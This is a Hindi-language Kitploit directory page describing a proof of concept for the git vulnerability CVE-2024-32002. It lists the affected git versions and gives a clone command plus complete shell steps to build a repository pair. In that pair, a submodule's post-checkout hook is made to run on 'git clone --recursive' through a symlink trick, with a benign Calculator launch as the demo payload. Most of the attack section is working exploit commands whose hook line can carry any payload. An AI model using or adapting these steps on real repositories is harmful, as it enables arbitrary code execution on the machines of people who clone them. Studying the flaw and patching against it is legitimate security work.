Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-32002 — git भेद्यता CVE-2024-32002 के लिए एक प्रूफ ऑफ कॉन्सेप्ट | Kitploit
उपकरण/GitHubGitHub/markuta/cve-2024-32002
भेद्यता विश्लेषणशोषणआपूर्ति श्रृंखला सुरक्षालर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubmarkuta/cve-2024-32002

CVE-2024-32002

git भेद्यता CVE-2024-32002 के लिए एक प्रूफ ऑफ कॉन्सेप्ट

रिपॉजिटरी देखें
2132 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-32002

एक सरल प्रूफ-ऑफ-कॉन्सेप्ट जो कैलकुलेटर को निष्पादित करता है (केवल macOS उदाहरण)। git clone --recursive कमांड का उपयोग करने पर, यह रेपो https://github.com/markuta/hooky को भी खींचेगा, जिसमें एक post-checkout स्क्रिप्ट है। अधिकांशतः कमिट फिक्स फ़ाइल t7406-submodule-update.sh पर आधारित है।

चलाएं

नोट: 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, और 2.39.4 से पहले के संस्करण असुरक्षित हैं।

root@kitploit:~
git clone --recursive github.com/markuta/CVE-2024-32002

अपने स्वयं के रिपॉजिटरी बनाएं

root@kitploit:~
# Submodule repo (payload)
git init hooky
cd hooky
mkdir -p y/hooks 
echo "open -a Calculator.app" > y/hooks/post-checkout
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m post-checkout
hook_repo_path="$(pwd)"

# Main repo
git init captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m add-submodule
printf .git >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m add-symlink

अधिक जानकारी

इस कमजोरी के बारे में अधिक जानकारी यहाँ और यहाँ पाई जा सकती है।

टूल डाउनलोड करें